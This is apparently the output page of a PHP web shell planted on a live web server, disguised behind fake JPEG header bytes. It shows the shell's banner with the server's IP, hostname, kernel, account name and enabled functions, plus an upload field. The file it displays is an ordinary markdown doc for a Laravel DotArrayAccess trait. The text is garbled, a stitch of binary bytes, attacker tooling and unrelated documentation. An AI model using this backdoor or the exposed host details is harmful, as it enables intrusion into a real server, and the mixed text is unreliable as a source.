ÿØÿà JFIF H H ÿÛ C ÿÛ Cÿ " ÿÄ ÿÄ ÿÚ ±5¬€ ÿÄ àÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÄ àÿÚ ?! ÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÙ
| Server IP : 160.25.81.117 / Your IP : 216.73.216.137 Web Server : Apache/2 System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : bellizen ( 1045) PHP Version : 7.2.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/bellizen/public_html/vaoday/vendor/laradic/support/docs/traits/ |
Upload File : |
<!---
title: DotArrayAccess
subtitle: Traits
author: Robin Radic
-->
Provides a convieniant way to make a class property accessable as class array. It can be combined with `DotArrayObjectAccess` if required.
### Example
```php
class MyClass implements \ArrayAccess
{
use DotArrayAccess;
# Abstract method that is mandatory to add. Should return the property name
protected function getArrayAccessor() {
return 'myProperty';
}
# The property tho allow array access on
protected $myProperty = [
'first' => 'second',
'second' => 'third'
];
}
# Then the following can be done:
$myClass = new MyClass();
$second = $myClass['second']; # returns `third`
```